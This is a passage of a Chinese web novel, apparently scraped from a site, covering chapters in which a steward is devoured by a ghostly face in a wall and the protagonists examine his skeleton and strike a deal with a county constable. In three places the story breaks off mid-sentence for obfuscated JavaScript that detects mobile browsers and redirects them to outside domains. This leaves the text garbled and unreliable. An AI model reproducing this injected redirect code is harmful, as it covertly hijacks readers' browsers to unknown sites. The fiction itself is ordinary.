他松了一口气,飞快地打开橱门,摸出火折子晃亮。 微弱的火光给了他莫大的慰藉。 李管事虚弱地笑了笑,人老了,胆子就小了,成天疑神疑鬼,自己吓自己。 他转过身便要去点灯,目光不经意滑过墙壁,黯淡的墙壁上有块水渍似的暗影。 是渗水么?他将火折子举高了一些,光晕上移,将暗影囊括进来。 那是一张脸。 形状模糊,边缘不清,像水渍一样映在墙上,双眼和半张的嘴只是三个窟窿,但的的确确是一张脸。 他想起那天清晨在溷厕发现老马夫时,他鼓突着双眼,青筋暴起,仿佛是从魂魄深处挤出变了调的声音:“脸。” 那个“脸”字,直到此时终于呈现全部意义。 老马夫的声音仿佛穿透了他的耳膜,渗透他的脏腑,涌上他的喉头,然后卡在了那里。 他张了张嘴,发不出一点声音。 不知僵立了多久,火折子终于烧到了手,烫得他回过神来。 李管事扔了火折子,转身便要向外跑。 可念头方起,“砰”一声,门扇自己合上了。 火灭了,屋子重新陷入黑暗,只有墙上那张脸,仍旧是死人般的青灰,黑洞洞的眼窝仿佛在打量他。 李管事想要后退,然而双脚却像是有自己的意志,带着他往墙边走去。 他的额头贴到了墙上,墙壁软得不可思议,他慢慢地陷进去,先是头,然后是躯干。 恐惧终于冲破喉头的桎梏,他放声尖叫,然而转瞬淹没在了砖石间。 …… 一夜无梦。 海潮醒来时已天光大亮,金色的朝阳泻入屋内,将黑夜的阴森诡谲清扫一空。 陆琬璎已经穿好了衣裳坐在床边,手执桃木梳,与那一头齐腰长发较着劲,虽然动作仍旧略显生疏,但比起昨日已有长足进步。 听见动静,她停下手中的动作,转过头来微微一笑,露出个浅浅的梨涡:“海潮醒了?” 半宿没睡,陆琬璎眼下有些许青影,但容色不显憔悴,甚至比初遇时还活泛些。 海潮坐起身,顺了顺睡乱的头发:“睡过头了。” “时辰还早,”陆琬璎面露赧色,“昨晚不小心睡着了,连海潮何时回来都未曾察觉。” 海潮摆摆手:“陆姊姊本就不必等我。” 她揉了揉僵硬的肩膀,转了转脖颈。 “昨晚累坏了吧?”陆琬璎一边问,一边起身,端起铜盆去打水。 海潮跳下床接过铜盆:“陆姊姊放着我自己来。” 她一个娇生惯养的世家小娘子,哪里做过这种粗活。 “海潮别同我见外,”陆琬璎道,“做点力所能及的事,我反而心安。” 海潮听她这么说,也不坚持了。 陆琬璎打了水,又取来洁牙用的青盐:“昨夜可有收获?” 海潮一边揩脸一边说:“总算没白忙活,那个李管事… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13627093|143546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …” 话说到一半,她眼角的余光不经意瞟向直棂窗,手不由一顿。 “怎么了?”陆琬璎不安地问道。 海潮摇了摇头,蹙眉道:“我记得昨晚看见窗框上的绿漆有几处剥脱,现在怎么没了?” 窗棂上的绿漆完好鲜亮,像是新近漆过一般。 “还有墙面、柱子,好像都比昨夜新了。”海潮一边环顾四周一边道。 陆琬璎赧然:“昨日心中忐忑,只顾着害怕,未加留意……会不会是天光的缘故?昨夜来时已是掌灯时分,故而显旧。” 海潮点点头:“大概是我看错了。” 但心头的疑云却挥之不去,就算烛光和天光有差,难道漆面的剥脱也会看错? “对了,李管事怎么了?”陆琬璎提起方才的话头。 海潮正要回答,拍门声骤然响起。 “两位仙师醒了么?大事不好了!”门外传来一个略带稚气的声音。 海潮认出来那是李管事的干儿子李吉,她三下五除二揩完脸,起身打开门,果见李吉惨白着一张脸站在门口。 “怎么了?”海潮问。 李吉嘴唇哆嗦了两下,带着哭腔道:“阿耶……李管事他……死了……” 随着最后两个字出口,李吉“哇”地一声哭了出来。 海潮也是大吃一惊:“你先别哭,到底怎么回事?” 李吉抽噎着说:“阿耶叫鬼吃了……” “吃了?” “吃得就剩……就剩骨头,就和先前那些牲口一样……” 这时,东厢房的门开了,梁夜和程翰麟走了过来。 程瀚麟顶着一对乌青的眼圈,呵欠连连,梁夜只睡了一个多时辰,却只是嘴唇略微苍白而已。 李吉见到梁夜,惊惶之色稍减,“扑通”一声跪倒在地:“求仙师抓住那吃人的恶鬼,为奴阿耶报仇!” 程翰麟惊疑不定地看着梁夜,梁夜只是淡淡道:“遗骸是何人发现的?” 李吉道:“是奴。今日辰时,奴和平日一样,去给阿耶送朝食,敲了好一会儿门没人应,奴觉着奇怪,便用钥匙开了锁,一进屋便看见……” 他哽咽了一下,接着道:“奴立即去禀报郎君,郎君遣奴过来……” 他说着瞟了一眼西厢。 海潮这才注意到,西厢的门虚掩着。 “你是来请那位道长的吧?”海潮指了指,“人呢?” 李吉脸上闪过尴尬之色:“屋子里没人……那道长大约是胆小怕事,一听当真有鬼便吓跑了……且不用管他,还请几位仙师帮忙擒住那恶鬼……” 梁夜道:“遗骸可在原地?” 李吉忙点头:“在的在的,郎君一到便吩咐锁了门,叫下人在外头把守,谁也不能进去。” “可曾报官?” “郎君已差人去了,官差应在来的路上……”李吉面露难色,“鬼吃牲口的时候郎君也差人报过官,官差来看了,倒说郎君消遣他们,劈头盖脸地骂了一顿,又拿了许多财帛回去,这次不知道……” “这回不一样,死的是人,官差总要管的。”程瀚麟道。 李吉:“怕只怕他们来了也查不出什么,还得仰仗几位仙师无边法力。” 海潮不禁有些心虚,觑了眼梁夜。 梁夜却是安之若素,矜持地一颔首:“先去看看遗骸。” 16. 噬人宅(十二) 李吉在前头带路,海潮落在后面,用手肘捅了捅程瀚麟,小声道:“你没事吧?要不要在这里等我们回来?” 程瀚麟一脸受宠若惊:“多谢海潮妹妹关心!不过不必担心,在下已作了万全准备。” 他说着一掀衣襟,只见衣裳内侧密密麻麻贴满了符咒。 海潮:“……行吧,你小心,别再叫鬼上身了。” 程瀚麟呲着大白牙:“放心放心,绝对无碍的。” 梁夜看了两人一眼,一言不发地转过头去。 程瀚麟手忙脚乱地系好衣带,追上前去:“子明,子明,等等我——” 一行人七拐八弯了走了一刻来钟,便到了李管事所住的小院门前。 小院子地处偏僻,但房舍严整而簇新,粉壁雪白,乌瓦油亮,门与窗棂都是新刷的青漆,在阳光下闪着碧玉般的光,空气中弥漫着淡淡的香火气味。 有嘈杂的诵经声从庭中传出来。 海潮想起客房中那宛如新漆的窗棂,心中涌起股怪异的感觉,问道:“好新的房子,是新修的么?” 李吉挠了挠头:“没有啊,主人房还有好几间未修葺的,哪里轮得到下人房。” 他环顾四周,嘟囔道:“奇怪,似乎是比昨日新了些……” 正说着,院门开了,苏廷远从门中走出来,见到海潮一行,怔了怔,脸上有不悦之色一闪而过。 李吉忙道:“郎君,那观的道士不见了,奴就将这几位仙师请了来。” 苏廷远已经恢复了彬彬有礼的态度,作了个揖,歉然道:“昨夜叨扰仙师至夜半,不意今日又生事端,在下真是无地自容。” 梁夜抬了抬下颌:“驱鬼是我等分内事,先去看看尸首。” 苏廷远将几人迎入庭中,海潮这才发现巴掌大的院子里已经站了不少人,除了着青衣的苏家奴仆外,还有几个僧道装束的人,有的在敲木鱼诵经,有的在摇铃作法,庭中燃着香,乌烟瘴气的。 令她惊讶的是,与他们一起来的假沙门也混在其中。 假沙门看到他们,摸摸光秃秃的头顶,露出个意味不明的微笑,海潮只觉仿佛有癞蛤蟆从脚背上爬过,心中一阵腻味。 苏廷远苦笑,低声道:“下人多嘴多舌,消息转眼就传遍了,这些阿师、道长也是好心,在下也不好拒之门外。” 简单一句话已将这些人认定为江湖术士,划定了亲疏和高下。 即便知道应该提防此人,海潮也不免感叹,这人说话还挺中听。 苏廷远将他们带到房门口,示意小僮开门。 门一打开,扑面而来的不是血腥气,却是一股淡淡的新漆味道。 屋子里帘帷低垂,只有门口透进些许光亮。 隐约可以看见墙根处有一堆东西,乍一看只是堆旧衣裳,细看才能发现衣料底下伸出些灰白透黄,枯枝样的东西。 虽然心里有所准备,海潮还是一阵头皮发麻:“这就是……” 苏廷远捏了捏眉心:“一夜之间,好好的一个人就成了这样。” 程瀚麟一跨过屋槛脸色便是一变,眼睛盯着空白的墙壁,嘴唇微微发颤。 海潮悄悄注意着他,小声道:“没事吧?” 程瀚麟回过神来,低头看着脚下席子:“没事。”却未敢再往前一步。 陆琬璎亦是踟蹰不前。 海潮暗暗提了一口气,和梁夜走上前去。 白骨被衣物覆盖着,海潮认出那是昨夜李管事穿的衣裳。 她用桃木剑挑开衣物,将白骨呈露出来。 骨头出奇干净,呈现出玉一般温润的光泽,没有一丝血肉残留,就像是被一群饥饿的小兽细细舔舐过。 然而无论哪种野兽,都不可能将一个人啃食得这么干净,连骨骼之间的关节都消蚀殆尽。 海潮虽然对那刁滑虚伪的老管事没什么好感,但几个时辰前见过的人,就这样成了一堆零落的枯骨,还是自心底生出一股近乎荒谬的感觉。 梁夜对苏廷远道:“府上那位医女可在?” 苏廷远目光动了动,摇头道:“从昨夜起便不知所踪,不知是不是叫昨夜的事吓走了。” 梁夜道:“请借软尺一用。” 苏廷远立刻吩咐小僮去取。 梁夜没耽搁片刻,将骨骼一块块拾起,摆放在地上,拼合成人形。 苏廷远在一旁看着,状似不经意道:“没想到仙师还会这些。” 梁夜淡然道:“敝派入门首先要学的便是骨骼经脉,不足为奇。” 不知苏廷远信不信,海潮却是知道底细的。 他是什么时候学会这些的?她越发困惑起来。 待梁夜将骨头拼合好,小僮也将软尺取了来。 梁夜测量了骨架的长度,又分别量了胫骨和股骨的长度,检查了肋骨估测道:“身长约五尺四寸(1),男子,年纪在六十上下。” 陆琬璎原本在门口不敢上前,不知什么时候走到了海潮身边,好奇地看着梁夜量骨,此时终于忍不住开口问道:“如何推断年纪?” 梁夜指着肋骨与胸骨相连处:“少壮者肋骨末端光滑浑圆,随着年岁增长变得凹凸不平,边角锐利。”(2) “原来如此。”陆琬璎道。 梁夜收起软尺还给李吉,问苏廷远道:“李管事的右臂可曾折断过?” “约莫六年前,还在建业时,阿耶不慎跌过一跤,折断了右臂,”李吉抢着道,“奴听他说起过……” 他邀功似地看向苏廷远,没想到主人脸若冰霜,狠狠地剜了他一眼:“多嘴!这是你说话的地方么?出去守着门!” 李吉愣了愣,眼眶里蓄满了泪水,嘴也瘪了起来。 海潮有些不落忍,她不明白直到此时一直温文儒雅的苏廷远,为什么对一个才死了义父的小僮发火? 她若有所思地看向梁夜,刚好梁夜也在看她,两人的目光一触,她便知道他果然也注意到了其中的异常之处。 “他还只是个半大孩子,又丧了亲,这么凶他做什么。”她对苏廷远道。 苏廷远脸色一僵,随即道:“小仙师说的是,实在是近来家宅不宁,不由自主烦躁了。” 他叫住李吉,恢复了先前的温厚:“你去账房领五贯钱,这个月不必当差了,好生休息。待这里的事落定,李管事的丧事还要你出力。” 李吉一听有赏钱,眼中闪过欣喜,随即看见地上李管事的尸骨,又难过起来,一时似哭似笑,抹了把鼻涕,谢了恩,便退了出去。 苏廷远转向梁夜:“既已验明骸骨身份确为李管事……” 话未说完,便听门外一阵嘈杂动静。 苏廷远眉头一动:“想是官差来了。” 话音甫落,就有一群官差呼啦啦走了进来,一行有五六人,为首的是个年约三十上下的男子,身着深青色官服,腰围鍮石带,生得不算魁梧,一张脸棱角分明,英气逼人,但海潮一看他身形步态,鹰隼般锐利的眼神,便知多半有武艺在身。 来人扫了他们一眼,毫不掩饰地露出厌恶之色。 苏廷远忙上前行礼:“小民拜见庾少府。” 来人敷衍地一揖,看着梁夜道:“庾某活了三十年,第一次看见出了人命找道士验尸的。” 转头对个背着箧笥,皂吏模样的中年人道:“冯十四,有人帮你把活干了,你这仵作来吃干饭么?” 中年人干笑了一声。 梁夜恍若未闻,更别提有一丝一毫的诚惶诚恐。 苏廷远忙打圆场,向那官员道:“启禀少府,这几位是京都青云观的道长,是小民请来替拙荆祈福的,碰巧遇上这事……是小民病急乱投医了……” 又向梁夜说:“这位是庾县尉庾少府。” 梁夜只是略一颔首,袖手站着,丝毫没有行礼的意思。 海潮对当官的一向没好感,又见这姓庾的鼻孔朝天,也抱着臂不搭理。 苏廷远一脸无奈,向梁夜和海潮道:“少府要勘验尸骨,还请两位去厢房用杯粗茶,稍待片刻。” 梁夜道了声“告辞”,向海潮点点头。 两人出了屋子,与陆琬璎、程瀚麟一起往厢房走。 海潮也不管里面的人听见,故意大声问程瀚麟:“程师兄,县尉是多大的官呀?比侍中怎么样?” 程瀚麟有问必答:“芜城富庶,这里的县尉当是八品,侍中是正三品。小师妹,恐怕没人这么比……” “原来只是个八品官呐,”海潮嗤之以鼻,“官不大,官威不小嘛!” 她瞟了梁夜一眼:“我们这儿可有个侍中女婿呢。” 梁夜蹙了蹙眉,嘴唇微微绷紧,什么也没说。 海潮回过神自己也觉好笑,权势真是好东西,连她望海潮都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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程瀚麟苦笑:“这回倒是没看见什么,只是一靠近那屋子,便觉足底生寒,隐约听见墙里有异声。” “是哪种声音?”海潮问。 程瀚麟摇头:“说不清楚……我怕重蹈覆辙,不敢靠得太近。或许只是我神思恍惚,听错了而已。” …… 不多时,车马和钱都准备停当,四人刚到大门口,便看见庾县尉一行人正准备打道回府。 庾县尉看见他们几人,脸色便是一落,转过头,用力地一蹬踏马石,便要上马。 梁夜却走上前去:“庾少府请留步。” 庾县尉微微觑了觑眼,眼神更显锐利。 他冷笑道:“道长有什么赐教?” 梁夜仿佛听不出他言语中道讥嘲意味:“贫道欲和少府合作。” 庾县尉像是听了什么大笑话,向随从们道:“你们听见了么?这位道长要和本官合作!” 随从们哄笑起来。 庾县尉抬了抬手,笑声戛然而止。 “庾某这里既不需要做法,也不需要念咒。” 梁夜依旧不卑不亢:”如此说来,苏府的命案,少府已有头绪了?” 庾县尉嘴角讥讽的笑容一窒,嘴唇微微扭曲。 “事涉怪力乱神,贫道未必无用。”梁夜退了一步,语气诚恳。 “这么说,道长有头绪了?” 梁夜颔首。 庾县尉盯着他的脸半晌,方才道:“怎么合作?” “贫道五日内替少府查明此案来龙去脉,”梁夜道,“作为回报,请少府帮贫道查两个人的下落。” 庾县尉沉吟片刻,一甩头:“何人?” “一个是苏府的秦姓医女,昨夜不知所踪,下落不明。” “另一个?” “建业洞玄观的道士。” 庾县尉笑道:“这买卖倒是庾某占便宜。” 顿了顿:“那道士的下落不必查了。今早城郊山林里有猎户发现一具男尸,身上有过所,正是洞玄观的道士。” “死因为何?” “大约是行夜路,遇上了谋财害命的贼匪,”庾县尉道,“这种事司空见惯。” 梁夜颔首。 “五日,说定了。”庾县尉道。 “好,也请庾少府费心。” 庾县尉翻身上马:“庾某就算把整座芜城翻个底朝天,也把那秦医女给你找出来。” 17. 噬人宅(十三) 梁夜伤了腿不能骑马,程瀚麟便也与他一同坐车。 上了车,程瀚麟长出一口气:“方才真是捏了一把汗。那庾县尉眼高于顶,又如此嫌恶我等,未曾想竟会点头。” 梁夜道:“若能破此案,他必定声名大噪,宦途通达,若不能破,于他亦无损。他没有理由拒绝。只要有利可图,仇人也能握手言和,何况只是些许意气之争。” 程瀚麟瞥了一眼他冰雕玉琢般的侧脸,叹道:“天下熙熙皆为利来,天下攘攘皆为利往。没想到我一介商贾,还不如子明你看得通透。” 梁夜容色淡淡,显然并不在意他的夸赞。 这两日相处下来,程瀚麟已知道他性子冷,没放在心上,又道:“对了,子明方才勘验尸首的本事真是让我叹为观止,霜署(1)还教仵作的本事么?” 梁夜眉头动了动:“御史台?” 程瀚麟懊恼地拍拍脑门:“我又忘了,这三年的事你想不起来。” 顿了顿:“不过当初听说你进了宪台,我还颇有些意外。” “为何?”梁夜问。 程瀚麟搔了搔后脑勺:“读了子明这么多锦绣文章,总觉你会释褐(2)校书郎或正字(3),宪台自然也好,只是……总觉有些萧寒肃杀之气……” 梁夜道:“你可知我是何官职?” “自然知道,”程瀚麟道,“是监察御史。” 梁夜蹙眉:“监察御史并非进士起家官。” “是天子下敕,破格录用的,”程瀚麟觑了觑他脸色,“听说卢侍中对子明十分赏识,一力保举。” 梁夜一听“侍中”两字,脸色便是一冷,眉宇间笼了层阴霾。 良久,他问道:“你可曾听说过我和侍中之女的传闻?” 神色如常,声音里却带了一丝不易察觉的轻颤。 “当然听过!”程瀚麟没觉察出他异样,没心没肺地道,“曲江池畔,杏林探花,卢侍中千金对子明你一见倾心,可是当时一段佳话呢!” 他自顾自夸了一通,什么“郎才女貌”、“天造地设”、“佳偶天成”,半晌没听见梁夜有什么反应,心下奇怪,一转头,看见梁夜双眉紧蹙,脸色青白,手指死命抵着太阳穴,显然十分痛苦。 程瀚麟急得手足无措,向舆人喊:“停下!停下!等等别停!去医馆!赶紧去医馆!” 梁夜抬手制止他:“无妨,我没事……只是略微有些头疼……” 程瀚麟将信将疑:“当真不用去医馆?” 梁夜闭着眼睛靠着车厢壁,摇摇头:“不用。” 海潮坐在后面的马车里,隐约听见程瀚麟喊停车,撩开车帷冲前面喊:“怎么了?” 程瀚麟的脑袋探出来:“子明他……” 话未说完,便被梁夜制止,他只得改口:“无事无事!海潮妹妹放心吧!” 海潮坐回车里,放下车帷,嘟囔道:“这程瀚麟,成天一惊一乍的。” 陆琬璎抿唇笑了笑。 海潮把膝上沉甸甸的布袋子解开,把里边的铜钱和银锭数给陆琬璎看:“苏廷远倒挺大方,给了这许多银饼子,外加五贯钱。” 陆琬璎道:“海潮真厉害,换作是我,不知该怎么开口。” 海潮一笑:“我们办事他出钱,不是天经地义么,我们已算良心的,遇上无良的道士沙门,非得狠狠敲上一笔呢。” 陆琬璎有些惆怅:“话虽如此,我却做不到。” “陆姊姊同我不一样。我一个人讨生活,要是脸皮再薄些,骨头都要叫人啃光啦。” 此言一出,两人都想起李管事那具干干净净的骨架。 海潮见陆琬璎双颊血色尽褪,忙扯开话题:“我长这么大还从没见过这么漂亮的银饼子呢!” 海潮拿出块莲花形的银饼子掂了掂,“陆姊姊你看。” 陆琬璎接过来,也赞叹道:“是手工錾刻的,真是精巧。” 她眼中升起雾气,怀念道:“从前阿娘在世时,逢年过节便叫匠人錾些花巧的金饼银饼,分给族中的孩童,每个只有半两重,煞是可爱。” 她顿了顿:“阿娘闺名中有个梅字,她的银饼子上也常錾一朵梅花。” “陆姊姊家拿来花用的银子,也錾得这么好看么?”海潮问。 陆琬璎摇摇头:“这些錾花的银饼,多是拿来把玩,或是节下送礼、赏人的。” “那这苏家可真撒漫,日常花用的银子还费这手工。”海潮咋舌,却并不放在心上,只将银饼放回去,把包袱原样包好。 车轮辘辘,两人有一搭没一搭地说着话,不知不觉就到了市坊附近。 街衢中的车马和行人渐多,肥马轻裘的士人连骑相过,服饰鲜涣的丽人三两成行,更有商贾裨贩,或肩挑手扛,或牵着满载货物的骡马,熙熙攘攘地往坊门行去。 海潮长这么大,进城的次数屈指可数,忍不住撩起车帷往外看,一双眼睛应接不暇。 陆琬璎起初规规矩矩地端坐着,慢慢的也倾身上前,与海潮凑头一起张望。 “这芜城也不知是什么地方,可真热闹。”海潮道。 陆琬璎若有所思:“‘芜城’二字,大约取自鲍参军《芜城赋》,即是广陵,也就是我朝的扬州城。看此地风土草木,应是江南无误。不过身处异境,虚虚实实,无从考证。” “陆姊姊懂得真多。”海潮由衷赞叹。 陆琬璎叫海潮夸得多了,那时不时红脸的毛病略有好转:“说起来汗颜,我生在金陵,却从未出过远门,连扬州也不曾到过,只是纸上谈兵。” “我最远也只去廉州城,已经是四年前的事了,刚巧佛诞节,城里有庙市,可热闹了,到处是好吃的好玩,可惜我们穷得很……” 海潮说着,忽然想起这“我们”包括了梁夜,顿时些意兴阑珊。 陆琬璎似乎察觉到了什么:“要是能从这里平安出去,海潮也带我逛庙市,让我长长见识。” 海潮一时又高兴起来,伸出小指:“陆姊姊可不许骗我,我们拉勾。” 陆琬璎便要伸手,却迟疑了,叹了口气,垂下眼皮:“回去之 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海潮暗暗叹了口气,李管事虽然人品不怎么样,对这干儿大约是有几分真心的。 李吉只是个半大孩子,乍然失去了李管事这个倚仗,以后的日子怕是难了。 她从钱袋子里掏出一把铜钱给他:“你也没吃朝食吧?拿着去买点饼子菓子吃。” 李吉推拒:“多亏小仙师在主人跟前替奴说话,没吃挂落,反而得了赏钱,怎么还能拿小仙师的钱。” 海潮经他这么一提,想起当时苏廷远那没来由的邪火,不禁看向梁夜。 梁夜几不可察地点了一下头,海潮顿时会意,装作不经意似地问李吉:“对了,你家郎君怎么突然发火,吓了我一跳。他平时脾气也很大么?” 李吉摇头:“郎君平日总是和颜悦色的,从没发过这么大的火。” 海潮道:“因为你是李管事的干儿子,所以才对你格外好吧?” 李吉把头摇成了拨浪鼓:“不不,郎君和娘子都是极好的人,待所有下人都很宽厚,就算做错了事,也只是责怪两句,不像有的人家,动不动罚钱、罚跪、打笞杖。要不是主人家宽仁,谁肯去那地方做工……” 他忽然意识到自己说错了话,把后半句吞了下去。 海潮明知故问:“那地方怎么了?你们原先就知道那地方闹鬼么?” 李吉尴尬地笑了笑:“奴不是本地人,前几年老家闹水灾,来芜城就食的,那宅子的事也不怎么清楚,详细情形还得问他们本地人。” 海潮哼了一声,没追问下去,转回方才的话题:“那你猜猜,你家郎君刚才为什么恼呀?” 李吉有些迟疑:“宅子不安宁,昨晚娘子房里才出了事,义父又……府里的事、买卖的事、田庄的事,平日都是义父打点着,郎君也是焦头烂额,这才发火的吧……” 一直沉默的梁夜,忽然开口:“难道不是因你提了建业的事?” 18. 噬人宅(十四) “不不……当然不是。”李吉矢口否认,但头却低了下去,眼见的心虚。 海潮问:“你家主人不是从蜀中迁来这里的吗?怎么又出来一个建业,难道他们还在建业住过?” 李吉支支吾吾,小心翼翼地问道:“这和捉鬼,有干系么?” 海潮板起脸来:“怎么没干系?你怎么知道这鬼不是从建业来的?不把事情弄清楚,我们怎么下手?” 程瀚麟促狭地插嘴:“对了,这鬼和你义父这么大仇,也不知道会不会连你一起恨上……” 李吉显然没想到这茬,登时吓得脸都白了:“真……真的吗?” 陆琬璎看了程瀚麟一眼,有些许责怪之意:“程师兄……” 转头对李吉道:“别怕,程师兄是说笑的。” 程瀚麟搔搔头,赧然道:“是我不好。” 海潮:“程师兄虽然是吓唬你的,但那鬼害死了你阿耶,你也想知道原因吧?” 李吉垂下头,揪着衣摆,迟疑了半晌,终于还是说道:“阿耶平日下了值,喜欢喝口小酒,有一次喝多了,就提起了摔断腿那件事。后来酒醒了我说起,他叮嘱我把这些话烂在肚子里,特别不能在郎君和娘子跟前提建业的事。” “建业怎么了,”海潮道,“难不成你家郎君在那儿有仇人?” 李吉脸皱成了一团:“仙师别再问奴了,奴真的只听阿耶提过这么一嘴。” 梁夜问:“除了你之外,你义父平日和谁走得近?” “府里的下人全是本地的,阿耶又管得严,除了奴以外,没什么亲近的。” “府中没有,府外如何?”梁夜敏锐地抓住了他的言外之意。 李吉有些忸怩,迟疑了一会儿才道:“每回铺子里来了新料子,阿耶都会挑几端时新花巧的,悄悄叫奴送去眠云阁,给个叫吴媚卿的女子……” 海潮不解:“她是李管事什么人?” 李吉喉咙里像是卡了什么东西,忽然咳嗽起来。 梁夜问:“眠云阁在何处?” 李吉:“就在市坊北曲,人称“小北里(1)”的地方,门前有两溜红纱灯笼的三层楼阁就是了。” 梁夜问了一些店铺的方位,然后吩咐他去买香烛纸钱、朱砂符纸若干,末了指着近处一家食肆道:“东西买齐后,便在此处等我们。” 海潮从包袱里拿出一块约莫一两重的莲华形银饼给他,李吉推辞:“用不了这么多。” “你再买些吃食,和那马夫分一分,”海潮说,“余下的自己留着。” 李吉还要推辞,梁夜道:“收下吧。” 他的声音温和,但自有一股不容置疑的意味,李吉不敢再推让,千恩万谢地收下了银子。 李吉走后,几人沿着坊中道路慢慢往里走,日头升高,道路两旁的店肆陆续开张,吆喝叫卖声此起彼伏,车马行人也越来越多。 程翰麟问梁夜:“子明,我们去哪里?” 梁夜思忖片刻,对陆琬璎道:“有劳陆娘子去琴馆,打听一张名为‘漱玉’的琴,当是前朝名伎柳惜音的旧物。” 陆琬璎道“好”,又鼓起勇气问:“我可否顺道去趟书肆,买几卷医书?” 梁夜:“当然可以。” 陆琬璎道了谢,眉宇间难得流露出雀跃之色。 海潮:“我陪陆姊姊一起去。” 梁夜却说:“陆娘子去打听消息,人多反而不便。” 陆琬璎也安抚她:“海潮放心,我会多加小心的。再说我也得尽快独当一面,不能事事都依赖海潮。” 海潮听她这么说,只得作罢,但腮帮子却鼓了起来。 程瀚麟捋起袖子跃跃欲试:“子明给我分派什么差事?” 梁夜道:“你去趟眠云阁,找那个叫做吴媚卿的女子打听李管事和苏家的事,看看她是否知道些什么。” 他顿了顿:“记得换身衣裳。” 程瀚麟挠了挠脸颊,面露难色:“这……我一个人去么?” 不等梁夜说什么,海潮自告奋勇:“我和你一起去。” 程瀚麟正要张口,忽然感到一道冷飕飕的目光向他射来,一个“好”字卡在喉咙口。 梁夜道:“你不能去。” 海潮横眉:“我为什么不能去?” “不便。” 程瀚麟也附和:“海潮妹妹,那地方你去不得。” 海潮看他这臊眉耷眼的狗腿模样便气不打一处来,本来去不去还在两可之间,眼下却是非去不可了。 “那是什么金贵地方了,凭什么你去得,我就去不得?” 程翰麟:“那不是好地方……” 海潮:“到底是什么地方?” 程翰麟含糊道:“就是那种,呃,不正经的地方……” “噢!”海潮恍然大悟,脸颊发起烫来。 她看了眼梁夜,见他一脸如释重负的样子,心里又不爽利起来,他凭什么管她去哪里! 海潮当即抱着胳膊向程瀚麟道:“不就是妓馆吗?你能去我也能去,怕什么!走走走,别废话了。” 程瀚麟巴巴地看向梁夜:“子明……你看这……” 梁夜:“好。” 海潮一时怀疑自己耳朵出了毛病。 “我和你一起去。”梁夜说罢又转向程瀚麟:“有劳玉书去苏家的铺子,装成客人打探一下苏家的生意。” 程瀚麟好像只听见了第一句,一脸受宠若惊,几乎喜极而泣:“子,子明……你方才叫我……叫我表字吗?这还是你第一次叫我表字……” 海潮见程瀚麟一脸迷迷瞪瞪的样子,心知不好,一把拽住程瀚麟胳膊:“你和我一起上妓馆。” 梁夜:“玉书意下如何?” 程瀚麟面露难色:“这……” 海潮急了:“你怎么什么都要看他脸色?他是你阿耶么?跟我去妓馆!” 陆琬璎轻轻牵了牵海潮的袖子,一张脸红得好似煮熟的虾子。 海潮道:“陆姊姊等等。” 又瞪向程瀚麟:“你说。” 程瀚麟看看这个,又看看那个,央告道:“海潮妹妹,还……还是听子明安排吧……” 海潮气得直跺脚:“程瀚麟!” 程瀚麟一脸歉疚:“对不起啊海潮妹妹,在下生性腼腆……” 海潮:“你哪里腼腆!” 程瀚麟:“那个……家父管得严,去那种地方……让家父知道了非打断我的腿不可。” 海潮冷笑:“我看他比你阿耶管得还多。” 程瀚麟也不恼,好脾气地笑笑,抬头望了望天:“啊呀,时辰不早了,在下去忙了,海潮妹妹你们保重,失陪了。” 说完拱拱手,脚底抹油便要跑。 海潮没好气地将他喊住,把布囊中的钱分了,又约定好在左近的食肆回合,四人这才分开了。 待程、陆两人走后,梁夜道:“我们也走吧。” 他仍旧平心静气,脸上没什么得意之色,但海潮只觉他一身心眼子,狠狠地瞪了他一眼,头也不回地往前走去。 走出十来步,方才停住脚步,回过头气咻咻地冲着远远落在后头的梁夜道:“眠云阁在哪里?” 梁夜:“先去买两身衣裳。” 海潮低头看了看青色的道服:“这衣裳有什么不好?” “道袍太惹眼,况且……”他脸上难得闪过一抹尴尬之色,“那种地方不接待女客。” 海潮瞟了他一眼,嘟囔道:“知道得还挺多,在京城肯定没少去。” 梁夜嘴唇动了动,似乎想反驳,却终究一句话也没说。 海潮想起他已忘了那三年的事。 “还是想不起来?” 梁夜摇了摇头,眼中又现出那个雨夜的茫然。 海潮有些泄气:“算了。” 两人一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|13627096|143546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前一后往前走,见到临街一家衣肆,便走了进去。 衣肆开间不大,进深却不小,外头堆满了各色绫罗绸缎。里面挂着几身裁好的男女衣裳。 店主人是个四十来岁的女子,高鼻深目,身形高壮,显然有胡人血脉,见到两人热情招徕:“两位是看料子,还是裁衣裳?” 海潮道:“看看衣裳。” 店主人:“是小郎君穿,还是小娘子穿?” 海潮道:“都要。” 店主人的笑容又绽开几分:“小娘子喜欢什么样的衣裳?” 海潮环顾四周,只觉眼睛都快叫那些绸缎闪花了,直截了当道:“去妓馆,有什么合适的衣裳?” 店主人愣了愣,随即笑起来:“小娘子好爽利的性子。” 海潮这才反应过来,心说一般人大约是不会把去妓馆挂在嘴上的,便描补道:“只是去长长见识。” 店主人眨眨眼:“自然,自然。奴给小娘子找几身合适的衣裳。” 